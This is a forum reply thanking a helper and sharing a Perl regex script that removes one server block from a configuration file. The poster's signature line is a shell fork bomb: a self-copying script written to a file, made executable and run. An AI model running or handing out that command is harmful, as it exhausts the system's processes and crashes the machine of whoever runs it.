in reply to Re: Searching for and removing multi-line file entries
in thread Searching for and removing multi-line file entries

Thanks pg!

In the time you must have been writing this, I developed a solution. I discovered that the sequential limitation was avoidable; that is: "serverX+1" did not have to follow "serverX".

So I wrote this:
use strict; use warnings; # use re "debug"; my $file = shift @ARGV || die "No file name given!\n"; my $server = shift @ARGV; my $output = shift @ARGV; open(IN, "$file") or die "Unable to open file\n"; undef $/; my $content = <IN>; $content =~ s/ ^\[server(\d)\] .*? servername\s=\s$server .*? \[server +\d\]$/\[server$1\]/msxi close(IN); open(OUT, ">$output"); print OUT $content; close(OUT);
This only removes one server entry, but it will be easy enough to throw a foreach loop around it.

Thanks again for the help!

Cheers,
ibanix $ echo '$0 & $0 &' > foo; chmod a+x foo; foo;